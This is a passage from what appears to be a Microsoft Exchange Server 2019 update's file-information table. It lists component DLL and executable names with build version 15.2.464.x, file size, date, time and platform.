10:48| x86 \nMicrosoft.exchange.addressbook.service.eventlog.dll| 15.2.464.10| 15,736| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.airsync.airsyncmsg.dll| 15.2.464.10| 43,384| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.airsync.comon.dll| 15.2.464.10| 1,776,000| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.airsync.dll1| 15.2.464.11| 505,216| 01-Jan-2020| 10:47| Not applicable \nMicrosoft.exchange.airsynchandler.dll| 15.2.464.11| 76,152| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.anchorservice.dll| 15.2.464.10| 135,544| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.antispam.eventlog.dll| 15.2.464.10| 23,416| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.antispamupdate.eventlog.dll| 15.2.464.10| 15,952| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.antispamupdatesvc.exe| 15.2.464.10| 27,008| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.approval.applications.dll| 15.2.464.10| 53,624| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.assistants.dll| 15.2.464.10| 925,264| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.assistants.eventlog.dll| 15.2.464.10| 26,192| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.assistants.interfaces.dll| 15.2.464.10| 43,392| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.audit.azureclient.dll| 15.2.464.11| 15,440| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.auditlogsearch.eventlog.dll| 15.2.464.10| 14,712| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.auditlogsearchservicelet.dll| 15.2.464.11| 70,520| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.dll| 15.2.464.11| 94,584| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.eventlog.dll| 15.2.464.10| 13,384| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.authadmin.eventlog.dll| 15.2.464.10| 15,944| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.authadminservicelet.dll| 15.2.464.11| 36,728| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.authservicehostservicelet.dll| 15.2.464.10| 15,944| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.autodiscover.configuration.dll| 15.2.464.10| 79,736| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.autodiscover.dll| 15.2.464.10| 396,152| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.autodiscover.eventlogs.dll| 15.2.464.10| 21,368| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.autodiscoverv2.dll| 15.2.464.10| 57,216| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.bandwidthmonitorservicelet.dll| 15.2.464.10| 14,720| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.batchservice.dll| 15.2.464.10| 35,912| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.cabutility.dll| 15.2.464.10| 276,344| 01-Jan-2020| 10:48| x64 \nMicrosoft.exchange.certificatedeployment.eventlog.dll| 15.2.464.10| 16,248| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.certificatedeploymentservicelet.dll| 15.2.464.11| 26,192| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.certificatenotification.eventlog.dll| 15.2.464.10| 13,688| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.certificatenotificationservicelet.dll| 15.2.464.11| 23,424| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.clients.common.dll| 15.2.464.10| 376,904| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.clients.eventlogs.dll| 15.2.464.10| 83,840| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.clients.owa.dll| 15.2.464.11| 2,971,008| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.clients.owa2.server.dll| 15.2.464.11| 5,029,760| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.clients.owa2.servervariantconfiguration.dll| 15.2.464.10| 893,816| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.clients.security.dll| 15.2.464.11| 413,560| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.clients.strings.dll| 15.2.464.10| 924,536| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.cluster.bandwidthmonitor.dll| 15.2.464.10| 31,608| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.cluster.common.dll| 15.2.464.10| 52,296| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.cluster.common.extensions.dll| 15.2.464.10| 21,880| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.cluster.diskmonitor.dll| 15.2.464.10| 33,664| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.cluster.replay.dll| 15.2.464.10| 3,515,264| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.cluster.replicaseeder.dll| 15.2.464.10| 108,408| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.cluster.replicavsswriter.dll| 15.2.464.10| 288,872| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.cluster.shared.dll| 15.2.464.10| 625,536| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.common.agentconfig.transport.dll| 15.2.464.10| 86,400| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.common.componentconfig.transport.dll| 15.2.464.10| 1,830,272| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.common.directory.adagentservicevariantconfig.dll| 15.2.464.10| 31,608| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.common.directory.directoryvariantconfig.dll| 15.2.464.10| 465,784| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.common.directory.domtvariantconfig.dll| 15.2.464.10| 25,472| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.common.directory.ismemberofresolverconfig.dll| 15.2.464.10| 38,272| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.common.directory.tenantrelocationvariantconfig.dll| 15.2.464.10| 102,784| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.common.directory.topologyservicevariantconfig.dll| 15.2.464.10| 48,512| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.common.diskmanagement.dll| 15.2.464.10| 67,448| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.common.dll| 15.2.464.10| 173,136| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.common.encryption.variantconfig.dll| 15.2.464.10| 113,536| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.common.il.dll| 15.2.464.10| 13,904| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.common.inference.dll| 15.2.464.10| 130,632| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.common.optics.dll| 15.2.464.10| 63,864| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.common.processmanagermsg.dll| 15.2.464.10| 20,048| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.common.protocols.popimap.dll| 15.2.464.10| 15,440| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.common.search.dll| 15.2.464.10| 108,920| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.common.search.eventlog.dll| 15.2.464.10| 17,792| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.common.smtp.dll| 15.2.464.10| 51,584| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.common.suiteservices.suiteservicesvariantconfig.dll| 15.2.464.10| 36,936| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.common.transport.azure.dll| 15.2.464.10| 27,720| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.common.transport.monitoringconfig.dll| 15.2.464.10| 1,042,504| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.commonmsg.dll| 15.2.464.10| 29,256| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.compliance.auditlogpumper.messages.dll| 15.2.464.10| 13,176| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.compliance.auditservice.core.dll| 15.2.464.11| 181,120| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.compliance.auditservice.messages.dll| 15.2.464.10| 30,080| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.compliance.common.dll| 15.2.464.10| 22,600| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.compliance.crimsonevents.dll| 15.2.464.10| 85,888| 01-Jan-2020| 10:47| x64 \nMicrosoft.exchange.compliance.dll| 15.2.464.10| 41,336| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.compliance.recordreview.dll| 15.2.464.10| 37,248| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.compliance.supervision.dll| 15.2.464.10| 50,552| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.compliance.taskcreator.dll| 15.2.464.10| 33,152| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.compliance.taskdistributioncommon.dll| 15.2.464.10| 1,100,672| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.compliance.taskdistributionfabric.dll| 15.2.464.10| 206,720| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.compliance.taskplugins.dll| 15.2.464.10| 211,016| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.compression.dll| 15.2.464.10| 17,280| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.configuration.certificateauth.dll| 15.2.464.10| 37,752| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.configuration.certificateauth.eventlog.dll| 15.2.464.10| 14,416| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.configuration.core.dll| 15.2.464.10| 145,784| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.configuration.core.eventlog.dll| 15.2.464.10| 14,200| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.configuration.delegatedauth.dll| 15.2.464.10| 53,352| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.configuration.delegatedauth.eventlog.dll| 15.2.464.10| 15,736| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.configuration.diagnosticsmodules.dll| 15.2.464.10| 23,416| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.configuration.diagnosticsmodules.eventlog.dll| 15.2.464.10| 13,184| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.configuration.failfast.dll| 15.2.464.10| 54,656| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.configuration.failfast.eventlog.dll| 15.2.464.10| 13,904| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.configuration.objectmodel.dll| 15.2.464.10| 1,845,832| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.configuration.objectmodel.eventlog.dll| 15.2.464.10| 30,280| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.configuration.redirectionmodule.dll| 15.2.464.10| 68,472| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.configuration.redirectionmodule.eventlog.dll| 15.2.464.10| 15,440| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.dll| 15.2.464.10| 21,368| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.eventlog.dll| 15.2.464.10| 13,176| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.connectiondatacollector.dll| 15.2.464.10| 25,976| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.connections.common.dll| 15.2.464.10| 170,064| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.connections.eas.dll| 15.2.464.10| 330,112| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.connections.imap.dll| 15.2.464.10| 173,944| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.connections.pop.dll| 15.2.464.10| 71,040| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.contentfilter.wrapper.exe| 15.2.464.10| 203,640| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.context.client.dll| 15.2.464.10| 27,208| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.context.configuration.dll| 15.2.464.10| 51,792| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.context.core.dll| 15.2.464.10| 51,072| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.context.datamodel.dll| 15.2.464.10| 46,968| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.core.strings.dll| 15.2.464.10| 1,093,504| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.core.timezone.dll| 15.2.464.10| 57,208| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.applicationlogic.deep.dll| 15.2.464.10| 326,528| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.data.applicationlogic.dll| 15.2.464.10| 3,353,160| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.data.applicationlogic.eventlog.dll| 15.2.464.10| 35,712| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.data.applicationlogic.monitoring.ifx.dll| 15.2.464.10| 17,784| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.data.connectors.dll| 15.2.464.10| 165,240| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.consumermailboxprovisioning.dll| 15.2.464.10| 619,384| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.directory.dll| 15.2.464.10| 7,787,592| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.directory.eventlog.dll| 15.2.464.10| 80,248| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.data.dll| 15.2.464.10| 1,789,304| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.groupmailboxaccesslayer.dll| 15.2.464.10| 1,626,496| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.ha.dll| 15.2.464.10| 375,168| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.imageanalysis.dll| 15.2.464.10| 105,856| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.data.mailboxfeatures.dll| 15.2.464.10| 15,944| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.data.mailboxloadbalance.dll| 15.2.464.10| 224,848| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.data.mapi.dll| 15.2.464.10| 186,752| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.data.metering.contracts.dll| 15.2.464.10| 39,808| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.metering.dll| 15.2.464.10| 119,376| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.msosyncxsd.dll| 15.2.464.10| 968,064| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.notification.dll| 15.2.464.10| 141,184| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.personaldataplatform.dll| 15.2.464.10| 769,608| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.data.providers.dll| 15.2.464.10| 139,856| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.provisioning.dll| 15.2.464.10| 56,704| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.rightsmanagement.dll| 15.2.464.10| 452,992| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.data.scheduledtimers.dll| 15.2.464.10| 32,872| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.data.storage.clientstrings.dll| 15.2.464.10| 256,888| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.storage.dll| 15.2.464.10| 11,808,848| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.storage.eventlog.dll| 15.2.464.10| 37,760| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.data.storageconfigurationresources.dll| 15.2.464.10| 655,736| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.data.storeobjects.dll| 15.2.464.10| 175,696| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.data.throttlingservice.client.dll| 15.2.464.10| 36,216| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.data.throttlingservice.client.eventlog.dll| 15.2.464.10| 14,440| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.data.throttlingservice.eventlog.dll| 15.2.464.10| 14,200| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.datacenter.management.activemonitoring.recoveryservice.eventlog.dll| 15.2.464.10| 14,712| 01-Jan-2020| 10:47| x64 \nMicrosoft.exchange.datacenterstrings.dll| 15.2.464.11| 72,784| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.delivery.eventlog.dll| 15.2.464.10| 13,176| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.diagnostics.certificatelogger.dll| 15.2.464.10| 23,120| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.diagnostics.dll| 15.2.464.10| 2,212,944| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.diagnostics.performancelogger.dll| 15.2.464.10| 23,928| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.diagnostics.service.common.dll| 15.2.464.10| 546,888| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.diagnostics.service.eventlog.dll| 15.2.464.10| 215,416| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.diagnostics.service.exchangejobs.dll| 15.2.464.10| 194,424| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.diagnostics.service.exe| 15.2.464.10| 146,512| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.diagnostics.service.fuseboxperfcounters.dll| 15.2.464.10| 27,520| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.diagnosticsaggregation.eventlog.dll| 15.2.464.10| 13,688| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.diagnosticsaggregationservicelet.dll| 15.2.464.10| 49,536| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.directory.topologyservice.eventlog.dll| 15.2.464.10| 28,264| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.directory.topologyservice.exe| 15.2.464.10| 208,760| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.disklocker.events.dll| 15.2.464.10| 89,168| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.disklocker.interop.dll| 15.2.464.10| 32,640| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.drumtesting.calendarmigration.dll| 15.2.464.10| 45,944| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.drumtesting.common.dll| 15.2.464.10| 18,816| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.dxstore.dll| 15.2.464.10| 473,680| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.dxstore.ha.events.dll| 15.2.464.10| 206,200| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.dxstore.ha.instance.exe| 15.2.464.10| 36,736| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.eac.flighting.dll| 15.2.464.10| 131,664| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.edgecredentialsvc.exe| 15.2.464.10| 21,880| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.edgesync.common.dll| 15.2.464.10| 148,344| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 15.2.464.10| 220,024| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.edgesync.eventlog.dll| 15.2.464.10| 23,928| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.edgesyncsvc.exe| 15.2.464.10| 97,872| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.ediscovery.export.dll| 15.2.464.11| 1,266,040| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.ediscovery.export.dll.deploy| 15.2.464.11| 1,266,040| 01-Jan-2020| 10:48| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.application| Not applicable| 16,323| 01-Jan-2020| 10:51| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.exe.deploy| 15.2.464.11| 87,632| 01-Jan-2020| 10:51| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.manifest| Not applicable| 66,586| 01-Jan-2020| 10:51| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.strings.dll.deploy| 15.2.464.11| 52,088| 01-Jan-2020| 10:51| Not applicable \nMicrosoft.exchange.ediscovery.mailboxsearch.dll| 15.2.464.11| 292,216| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.birthdaycalendar.dll| 15.2.464.10| 73,288| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.booking.defaultservicesettings.dll| 15.2.464.10| 46,152| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.booking.dll| 15.2.464.10| 218,728| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.booking.management.dll| 15.2.464.10| 78,208| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.bookings.dll| 15.2.464.10| 35,704| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.calendaring.dll| 15.2.464.10| 936,320| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.entities.common.dll| 15.2.464.10| 336,456| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.connectors.dll| 15.2.464.10| 52,608| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.contentsubmissions.dll| 15.2.464.10| 32,128| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.context.dll| 15.2.464.10| 61,008| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.datamodel.dll| 15.2.464.10| 854,088| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.fileproviders.dll| 15.2.464.10| 291,920| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.foldersharing.dll| 15.2.464.10| 39,496| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.holidaycalendars.dll| 15.2.464.10| 76,360| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.insights.dll| 15.2.464.10| 166,784| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.meetinglocation.dll| 15.2.464.10| 1,486,720| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.meetingparticipants.dll| 15.2.464.10| 122,232| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.meetingtimecandidates.dll| 15.2.464.10| 12,327,296| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.onlinemeetings.dll| 15.2.464.10| 264,264| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.people.dll| 15.2.464.10| 37,760| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.entities.peopleinsights.dll| 15.2.464.10| 186,952| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.reminders.dll| 15.2.464.10| 64,384| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.schedules.dll| 15.2.464.10| 84,048| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.entities.shellservice.dll| 15.2.464.10| 64,072| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.entities.tasks.dll| 15.2.464.10| 100,216| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.entities.xrm.dll| 15.2.464.10| 144,968| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.entityextraction.calendar.dll| 15.2.464.10| 270,416| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.eserepl.common.dll| 15.2.464.10| 15,232| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.eserepl.configuration.dll| 15.2.464.10| 15,744| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.eserepl.dll| 15.2.464.10| 130,424| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.ews.configuration.dll| 15.2.464.10| 254,544| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.exchangecertificate.eventlog.dll| 15.2.464.10| 13,184| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.exchangecertificateservicelet.dll| 15.2.464.11| 37,448| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.extensibility.internal.dll| 15.2.464.10| 640,384| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.extensibility.partner.dll| 15.2.464.10| 37,480| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.federateddirectory.dll| 15.2.464.11| 146,504| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.ffosynclogmsg.dll| 15.2.464.10| 13,176| 01-Jan-2020| 10:48| x64 \nMicrosoft.exchange.frontendhttpproxy.dll| 15.2.464.11| 594,512| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.frontendhttpproxy.eventlogs.dll| 15.2.464.10| 14,720| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.frontendtransport.monitoring.dll| 15.2.464.11| 30,080| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.griffin.variantconfiguration.dll| 15.2.464.10| 99,712| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.hathirdpartyreplication.dll| 15.2.464.10| 42,360| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.helpprovider.dll| 15.2.464.10| 40,312| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.httpproxy.addressfinder.dll| 15.2.464.10| 54,344| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.httpproxy.common.dll| 15.2.464.10| 164,224| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.httpproxy.diagnostics.dll| 15.2.464.10| 58,960| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.httpproxy.flighting.dll| 15.2.464.10| 204,368| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.httpproxy.passivemonitor.dll| 15.2.464.10| 18,000| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.httpproxy.proxyassistant.dll| 15.2.464.10| 30,592| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.httpproxy.routerefresher.dll| 15.2.464.10| 38,784| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.httpproxy.routeselector.dll| 15.2.464.10| 48,512| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.httpproxy.routing.dll| 15.2.464.10| 180,608| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.httpredirectmodules.dll| 15.2.464.11| 36,936| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.httputilities.dll| 15.2.464.10| 25,984| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.hygiene.data.dll| 15.2.464.10| 1,868,152| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.hygiene.diagnosisutil.dll| 15.2.464.10| 54,864| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.hygiene.eopinstantprovisioning.dll| 15.2.464.11| 35,704| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.idserialization.dll| 15.2.464.10| 35,944| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.imap4.eventlog.dll| 15.2.464.10| 18,512| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.imap4.eventlog.dll.fe| 15.2.464.10| 18,512| 01-Jan-2020| 10:49| Not applicable \nMicrosoft.exchange.imap4.exe| 15.2.464.10| 263,032| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.imap4.exe.fe| 15.2.464.10| 263,032| 01-Jan-2020| 10:50| Not applicable \nMicrosoft.exchange.imap4service.exe| 15.2.464.10| 24,952| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.imap4service.exe.fe| 15.2.464.10| 24,952| 01-Jan-2020| 10:49| Not applicable \nMicrosoft.exchange.imapconfiguration.dl1| 15.2.464.10| 53,112| 01-Jan-2020| 10:47| Not applicable \nMicrosoft.exchange.inference.common.dll| 15.2.464.10| 217,160| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.inference.hashtagsrelevance.dll| 15.2.464.10| 32,120| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.inference.peoplerelevance.dll| 15.2.464.10| 281,984| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.inference.ranking.dll| 15.2.464.10| 19,048| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.inference.safetylibrary.dll| 15.2.464.10| 83,840| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.inference.service.eventlog.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 15.2.464.10| 94,072| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.infoworker.common.dll| 15.2.464.10| 1,839,992| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.infoworker.eventlog.dll| 15.2.464.10| 71,544| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 15.2.464.10| 175,696| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.instantmessaging.dll| 15.2.464.10| 46,152| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.irm.formprotector.dll| 15.2.464.10| 159,608| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.irm.msoprotector.dll| 15.2.464.10| 51,072| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.irm.ofcprotector.dll| 15.2.464.10| 46,160| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.isam.databasemanager.dll| 15.2.464.10| 32,128| 